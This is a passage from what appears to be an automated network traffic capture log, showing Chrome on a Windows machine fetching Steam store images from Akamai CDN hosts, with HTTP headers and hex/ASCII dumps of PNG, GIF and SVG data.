2024-10-06 12:08:26 UTC	2843	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 06 cc 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR\:;)pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49796	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	590	OUT	GET /public/images/footerLogo_valve_new.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2584 Last-Modified: Fri, 21 Feb 2020 17:48:31 GMT ETag: "5e5017ef-a18" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close
2024-10-06 12:08:26 UTC	2584	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 32 08 06 00 00 00 fc cf 51 8d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR2QtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49797	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	586	OUT	GET /public/images/ico/ico_facebook.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1278 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-4fe" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close X-N: S
2024-10-06 12:08:26 UTC	1278	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 c4 00 00 55 56 5c c9 ca cc c8 c9 cb ae af b2 52 54 5a ee ef ef fc fc fc 54 56 5c 50 52 58 e2 e3 e4 d9 d9 db 87 89 8d 38 3a 41 5c 5d 63 e8 e8 e9 f2 f2 f3 93 94 98 d7 d7 d8 fa fa fa a3 a4 a7 be bf c1 e1 e1 e2 96 97 9b d4 d5 d6 9d 9e a1 ec ec ed f3 f3 f4 94 95 99 42 44 4b 41 43 49 ff ff ff 35 37 3e 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 61 38 64 34 37 35 Data Ascii: GIF89aUV\RTZTV\PRX8:A\]cBDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49798	2.16.238.140	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	443	OUT	GET /steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670 HTTP/1.1 Host: cdn.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	247	IN	HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Content-Type: image/png Content-Length: 503402 Last-Modified: Wed, 24 Sep 2014 18:08:02 GMT ETag: "54230882-7ae6a" Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close
2024-10-06 12:08:26 UTC	1686	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 96 00 00 02 cf 08 06 00 00 00 41 91 e6 34 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRA4tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-06 12:08:26 UTC	14336	IN	Data Raw: c8 5d db d1 1c 99 ff aa d3 ea fe 9b cd e2 cc 17 95 7c 51 64 37 a8 b4 95 e3 57 2c a8 48 45 2a 52 91 8a fc 7b 85 4c 06 54 d1 32 9f 96 77 d1 72 0e 2d ab c0 31 4c 41 2a 17 47 3a 9b 40 ef c4 be 74 95 b7 c9 d5 52 b5 e0 7b 55 de fa 7b 08 58 0e 2b aa 7a dc 5f 9c 0a b0 54 a4 22 15 a9 c8 ff c5 71 41 8b 8f 96 d9 b4 ac a6 65 23 2d 67 d2 e2 32 18 91 80 32 cb 62 7c 44 96 0b 28 aa 79 68 1c 4b 70 f5 4e 1c c0 70 ec e8 67 3a 6a 57 7e b8 a3 6e c5 b5 b4 c1 07 d4 e3 1c 5c 2a c0 52 91 8a 54 a4 22 9a 30 ff 6a 3d 2d 8b 68 59 4f cb d9 b4 cc e1 df a8 06 c6 e8 6e 36 41 77 b3 41 2d 79 cc 04 c3 85 c8 5e 05 ed 2f e6 7f b3 08 56 e4 8b 59 bc dd f7 ba 4f 51 e4 fb db 6b 57 a8 c4 5c 1e 2c ff b2 02 2c 15 a9 48 45 2a f2 8f 2e 2c f2 17 a6 a5 9d 96 35 3a 80 ac 99 b1 46 39 8c 04 41 d1 fe 10 b4 Data Ascii: ]\|Qd7W,HER{LT2wr-1LAG:@tR{U{X+z_T"qAe#-g22b\|D(yhKpNpg:jW~n\RT"0j=-hYOn6AwA-y^/VYOQkW\,,HE.,5:F9A
2024-10-06 12:08:26 UTC	16384	IN	Data Raw: 57 0f bf c7 83 78 5c ab ea 66 af 92 a8 b9 be 58 4b 78 4d 29 c9 78 cf fb af ee 5c b5 fa 5d 1d af 6d 7e a1 98 4c c4 4b 8d 0a 8f 15 dd f8 54 44 51 fd 31 1d ec 78 47 db 9c fb 7b 86 8f a0 a7 2f 4e ca 26 cb 18 0f 3a da e7 f0 b9 48 dc 6e 17 dc 0e 1b 67 90 6c fe 8e c6 fa 7a 6c db f1 0a 66 b5 2d 23 00 1a e6 fb 0d 06 43 98 4b 06 c3 96 ad 3b 11 6b 4c e2 b4 d5 a7 61 f7 81 b7 30 34 36 ca ad f1 49 02 87 85 4d 41 24 54 3b 1e 78 e4 31 54 11 28 bb a3 f3 e0 a8 9d 87 38 29 e9 57 f6 be 89 aa e6 36 04 e8 1c b3 de 08 3a 96 d6 41 a1 eb 5d 20 eb db eb f5 21 e4 f5 a2 ca 99 c3 20 b1 9b 94 90 c2 09 ad 76 a4 46 1d 98 9a 24 05 4d 0f 60 17 dd 6b d2 c7 78 a9 3f 89 51 78 91 a7 ed 67 27 26 30 34 34 85 70 24 88 1a 7f 1e d3 d3 02 06 87 13 d8 ff d6 18 46 c7 32 58 7f f5 7c 54 b7 06 10 9b c8 Data Ascii: Wx\fXKxM)x\]m~LKTDQ1xG{/N&:Hnglzlf-#CK;kLa046IMA$T;x1T(8)W6:A] ! vF$M`kx?Qxg'&044p$F2X\|T
2024-10-06 12:08:26 UTC	2716	IN	Data Raw: 86 2c f6 8f 4d 60 ef 62 14 56 fa 7d 93 7f 15 fe f8 03 37 62 64 cf 3e 74 af 3e 01 d1 64 0c 93 d3 f3 68 6f b7 62 3e 23 62 ed da b5 e8 3e 6b 15 d2 13 af 62 2a 26 23 1c 37 62 64 38 cc 13 b9 99 5c 82 18 14 9d 3f 81 45 26 57 d0 aa 71 04 3d c6 ac d4 27 f7 15 65 19 45 fd 9e b1 50 46 bc 40 a0 63 76 d2 b9 38 d0 da e4 47 9f cd 0a 8b c3 cb c3 7c 6e 32 5e 4c 61 98 15 1a b0 30 58 b1 5c e0 b2 26 66 8b 85 bf d5 1b e4 14 e0 b0 5b 21 55 64 72 76 05 ae 57 55 1d 91 fc 56 fa 22 b6 21 10 d3 24 db c6 14 b3 54 03 79 f0 d6 72 a9 e4 cf 65 b3 1d d9 5c a6 27 9b c9 ac ca e5 b2 6b 0a f9 ec ea 58 2c de 71 ce 55 ef c6 d5 d7 5c 8e f9 a2 03 7b f7 1f c2 fd f7 fc 10 46 32 bc 96 8a 13 f9 6c 0e e1 58 04 91 b9 19 c4 66 46 a1 92 93 c5 b4 23 18 eb 7b f5 c5 67 71 df 7d f7 e2 f6 ff f7 45 5c 73 ed Data Ascii: ,M`bV}7bd>t>dhob>#b>kb*&#7bd8\?E&Wq='eEPF@cv8G\|n2^La0X\&f[!UdrvWUV"!$Tyre\'kX,qU\{F2lXfF#{gq}E\s
2024-10-06 12:08:26 UTC	16384	IN	Data Raw: 6a 68 3c 87 12 19 4a a7 d5 02 8b c8 ca 66 ed b0 db 4a 38 38 2c c3 40 9b 2c 95 8b c0 6b eb c6 86 36 3b 9e 3e 38 03 99 56 96 95 36 94 54 34 a0 c9 ef 45 78 6a 12 37 fd f1 d5 d8 f7 ca 6e cc ce cc e3 1d 6f 5f 8b ac 5c 84 cf ed 46 4f 77 2b f2 e9 32 a6 c7 67 08 e4 cc 18 19 5b a0 c7 14 24 a6 c7 31 53 64 1a fa 59 78 2d 2a 66 8f 8e c2 2f 56 78 49 ef ec 9e a7 91 9e 9d c3 e2 d4 22 1c 82 8c 7d fb 67 10 cf d9 f0 f8 6b 49 9c 7a f2 49 48 db 2d b0 76 ab f0 bb dc 4c 8e 9e ae 21 ab f0 21 6f 7b 6a 02 33 b3 f4 7b d9 0a 13 fd 3d 97 25 06 56 aa 68 c0 a2 37 7e 49 06 13 df 5c 66 8b 89 e7 4d 58 65 6c 21 2f 73 40 61 40 23 89 7a af 02 9f 22 68 e0 a1 12 a6 72 cb 3a b0 25 de 13 53 e1 fd 2a e5 4a 11 e9 54 f4 3c 8f af b9 b3 52 2e 4d b2 26 4a 76 5f ff f3 eb 06 3c 71 ae 92 eb 2c d1 2f 92 Data Ascii: jh<JfJ88,@,k6;>8V6T4Exj7no_\FOw+2g[$1SdYx-f/VxI"}gkIzIH-vL!!o{j3{=%Vh7~I\fMXel!/s@a@#z"hr:%SJT<R.M&Jv_<q,/
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: ea bc 55 5b 04 6d 7f 02 31 ba 9f 0a ab 6b 46 23 3a 85 bf 42 9b ae 52 d4 aa 8b 62 03 a1 77 06 b2 52 68 41 9d 66 f0 0b 08 45 8f 42 e4 02 aa d0 bf 4f 4e 82 58 47 0f a2 e8 3f 5f 43 24 aa 4f 2a a4 bf 14 59 29 a4 d9 94 69 9f 99 4f e1 22 ef fd 24 45 c9 23 93 5c eb ab 3c 2d 35 97 9b 12 57 b4 02 7a 5e 93 84 1b 13 0c 39 65 d0 dc e7 48 f9 94 a8 b8 7a 59 59 ab 41 e6 1a 9e a4 22 e1 2b 71 bc 72 96 d6 ba 11 67 35 d7 8b ef 23 14 54 70 9a 75 79 43 25 ca 4b ec 58 dd de 82 83 c3 7d 38 3a 32 89 15 ad 6d 98 51 5f 25 54 50 e7 77 36 62 26 21 c6 f8 e0 18 0e 12 02 e7 86 02 e6 d2 63 bd a4 21 99 02 1d 56 e3 a4 7d 95 60 81 b0 92 08 32 eb d7 23 f6 2f b7 c1 7c fb 57 91 dd ba 09 72 ef 31 98 3e 72 0b e4 a3 7d 90 f7 1d 84 61 d9 12 c8 87 8e 12 94 a5 00 29 26 c3 51 56 02 e5 8d b5 90 f7 ee Data Ascii: U[m1kF#:BRbwRhAfEBONXG?_C$O*Y)iO"$E#\<-5Wz^9eHzYYA"+qrg5#TpuyC%KX}8:2mQ_%TPw6b&!c!V}`2#/\|Wr1>r}a)&QV
2024-10-06 12:08:27 UTC	7952	IN	Data Raw: c6 d7 7f f5 3c d6 ec 1a c5 82 e9 21 61 33 7c be 54 a3 07 46 35 64 de b9 8f e3 a0 80 85 22 86 8c b7 59 17 f6 e2 9a 8f 9f 85 eb 6e 5b 2f b3 5e 3a 4e 9e 86 4f ff cb 0a c1 8e 34 5d ff 1a 62 42 5c 60 70 f7 e3 bb e1 76 2a 30 fd 71 15 e6 68 65 9b 7e 7c aa 31 95 45 00 a6 74 da f4 ea 35 3a 90 35 6b d7 21 16 8b cb eb 36 9b a5 f7 51 9d 10 7e 34 d6 17 7b ef cc 18 79 e6 bd 4d a1 0b 2e 7d 46 0e 7a c5 85 87 36 ef c3 03 1b 77 22 95 cb 03 bf bd fd d8 0c 92 c3 4f 46 bd 9a b6 95 43 3a 3d 74 d8 04 3a b3 be a2 a9 82 cc a5 02 46 d3 aa b9 d3 b1 78 0c 77 dc 79 17 b6 6f df 51 02 5b 06 96 1a 02 87 ea aa 1a da 65 87 a8 50 33 b3 f0 78 f4 07 cf 8b 61 e6 67 b3 d9 4b 77 25 57 ca 8d 47 22 48 24 e2 88 8c 8f c9 bf 33 99 14 36 6d ca d3 6b 8a 24 f2 81 74 c5 fe 45 e3 e3 e0 d3 f4 d4 d3 4f e9 Data Ascii: <!a3\|TF5d"Yn[/^:NO4]bB\`pv*0qhe~\|1Et5:5k!6Q~4{yM.}Fz6w"OFC:=t:FxwyoQ[eP3xagKw%WG"H$36mk$tEO
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: c7 f7 1d 87 ab b9 f2 8c c7 1e fb 02 35 38 91 7f 1c 50 8b 53 03 8f a3 cc 3d 99 7a b8 6a 62 9e 43 9b 52 21 c0 cb 06 1c 47 89 b5 71 05 c9 8a 85 33 b0 e1 e9 47 09 0c da 89 7e 6f c3 be fd 07 30 d4 37 8c aa fa 3a 61 18 ac bc ca 15 56 33 ea 5a 70 60 ff 0e 24 e3 7a b5 8c 9f e7 35 84 c3 88 a5 92 64 fc f5 a6 2c d6 42 92 92 58 0e 27 b0 62 ab 8c 7d d5 43 1d 0e 73 34 2c 5d 23 96 f3 e6 f0 9a 84 37 58 1f 8c c7 d2 d2 82 36 c3 26 36 69 e6 72 ca 77 15 0b 9a c8 8a 17 b2 79 29 15 75 38 3d 32 d3 22 57 cc 18 12 1d aa 25 39 5c 14 29 14 0e cf d4 d7 10 0b f3 39 90 22 b6 c1 92 2d 3c db c5 e7 a2 ef 14 c3 a3 21 1c 08 a2 2a 10 14 31 45 66 2b dc c5 2c 63 6c 69 ff 82 e1 2a 02 93 10 ba ba fa 89 9d a5 10 f4 79 44 ab 89 c7 f1 46 c6 46 31 76 70 b7 dc 5c c9 02 0b 29 26 60 f7 d5 c2 df 7e 96 Data Ascii: 58PS=zjbCR!Gq3G~o07:aV3Zp`$z5d,BX'b}Cs4,]#7X6&6irwy)u8=2"W%9\)9"-<!1Ef+,cliyDFF1vp\)&`~
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 1d 8b bf 5a ea a1 a3 85 1e 47 cb b4 b9 1c 0c e3 29 a9 a9 f0 b5 b7 56 13 b5 17 70 c1 92 a3 0a 61 85 0f 99 3e 66 34 68 e1 66 f2 11 6f af 41 bf d7 4f 80 eb e0 40 cc c2 45 1a b5 8a 8b fa e5 de ce 4a 88 8d 56 33 d7 82 7a f1 c1 67 f1 a2 48 46 4e 60 f2 f0 29 fc eb a1 bf e3 c2 73 4e 46 55 b9 87 56 8e 81 6f 50 26 65 0e 45 aa 4a 2c 12 9b 54 78 fd b9 c2 89 9c ff 2c bf 61 de ec c9 b8 e7 df 4f a0 ae ae 9c c8 93 99 3f 2c c4 5e 7e 75 eb 5d f8 fb 5f 1f 80 a9 d2 0d 0f 6d fa d3 8e 3f 9c bf fe f9 57 de 46 fb fa f7 a0 75 4e e1 4d 6e 19 4b 0d 56 ac 5c 8b bd c4 4c d5 1a 2d 1a 1a aa 60 e4 39 28 96 d8 b5 e1 ad 35 1b 71 ca d7 ae c1 c0 80 0f 83 e1 10 ec d5 65 52 28 50 ae de 32 db ad d8 be ab 13 eb d7 6f 93 62 fc 04 ba 12 a3 53 54 ed 1c 8c 41 67 b2 df 22 8d eb 65 d7 4c c7 85 0d b5 Data Ascii: ZG)Vpa>f4hfoAO@EJV3zgHFN`)sNFUVoP&eEJ,Tx,aO?,^~u]_m?WFuNMnKV\L-`9(5qeR(P2obSTAg"eL
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 42 46 9b 98 00 0b 09 4b 64 a0 2d aa 08 c9 2c 63 44 5d 31 3a da 3a 61 48 59 21 59 54 84 08 91 b2 a1 3c 1a 1b 5b 30 be 3e 8e 58 32 81 68 38 89 12 d9 07 9b 32 02 01 c5 84 68 2c 44 cc c1 83 ae f6 1c 3a bb d2 b0 1a 9a e0 f1 b9 61 71 78 b8 64 8b 40 ec 21 4f 6c 4d 51 9d c8 e5 7d 74 de 63 c8 7b 37 a2 c8 65 46 c5 28 13 2f 9d 66 8a e4 06 9e 47 55 b0 92 9e c3 00 82 95 6c b3 52 66 95 55 c3 e5 89 4d 31 61 59 51 86 a8 8b aa f1 7e 0f 16 36 64 8c 4f a6 c7 1a e9 be 70 2a 8f 71 7e 11 c5 56 15 0d 01 76 cd f2 30 d3 fb 73 e4 45 94 7a 8c 70 54 4b 58 d0 10 a6 fb 4d 3b 67 57 15 40 25 b3 b9 15 81 67 9e e6 b2 2d 3b e3 4b 1a bc d9 7e 48 60 31 74 c0 d0 be f5 ce 2d 84 a8 fa 12 ea 03 72 ea 82 3e 94 2c 9e d5 70 e3 cd 77 62 ef 17 1e c4 c3 f7 dd 8e 51 f5 f5 b8 ff a1 c7 f0 f2 13 0f b1 ec Data Ascii: BFKd-,cD]1::aHY!YT<[0>X2h82h,D:aqxd@!OlMQ}tc{7eF(/fGUlRfUM1aYQ~6dOp*q~Vv0sEzpTKXM;gW@%g-;K~H`1t-r>,pwbQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49802	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	389	OUT	GET /public/images/account/wallet_icon.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3412 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-d54" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close
2024-10-06 12:08:26 UTC	3412	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2e 00 00 00 2e 08 06 00 00 00 57 b9 2b 37 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR..W+7pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49799	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	585	OUT	GET /public/images/ico/ico_twitter.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1429 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-595" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close X-N: S
2024-10-06 12:08:26 UTC	1429	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 d5 00 00 d7 d7 d8 e1 e1 e2 55 56 5c db db dc 8b 8c 90 c8 c9 cb 68 69 6e b1 b2 b5 52 54 5a 52 53 59 a3 a4 a7 a4 a5 a8 be bf c1 65 67 6c 85 86 8a 46 47 4e c9 ca cc 8e 8f 93 3b 3c 43 e4 e4 e5 cb cb cd 5c 5d 63 72 73 78 54 56 5c 3b 3d 44 3f 41 48 36 38 3f 3f 40 47 d3 d4 d5 98 99 9d 69 6b 70 59 5b 61 f8 f8 f8 de de df 91 92 96 e5 e5 e6 8c 8d 91 38 3a 41 83 84 88 c1 c2 c4 42 44 4a ad ae b1 a2 a3 a6 61 62 68 e6 e6 e7 59 5a 60 81 82 87 73 74 79 ba bb bd 4c 4e 54 4d 4f 55 d9 d9 db df df e0 3e 40 46 4b 4d 53 a0 a1 a4 53 55 5b 37 39 40 42 44 4b 41 43 49 35 37 3e 00 00 00 00 00 00 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 Data Ascii: GIF89aUV\hinRTZRSYeglFGN;<C\]crsxTV\;=D?AH68??@GikpY[a8:ABDJabhYZ`styLNTMOU>@FKMSSU[79@BDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49803	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	403	OUT	GET /public/shared/images/header/logo_steam.svg?t=962016 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	241	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/svg+xml Last-Modified: Tue, 17 Nov 2020 23:33:19 GMT ETag: "5fb45dbf-e64" Access-Control-Allow-Origin: * Date: Sun, 06 Oct 2024 12:08:26 GMT Content-Length: 3684 Connection: close
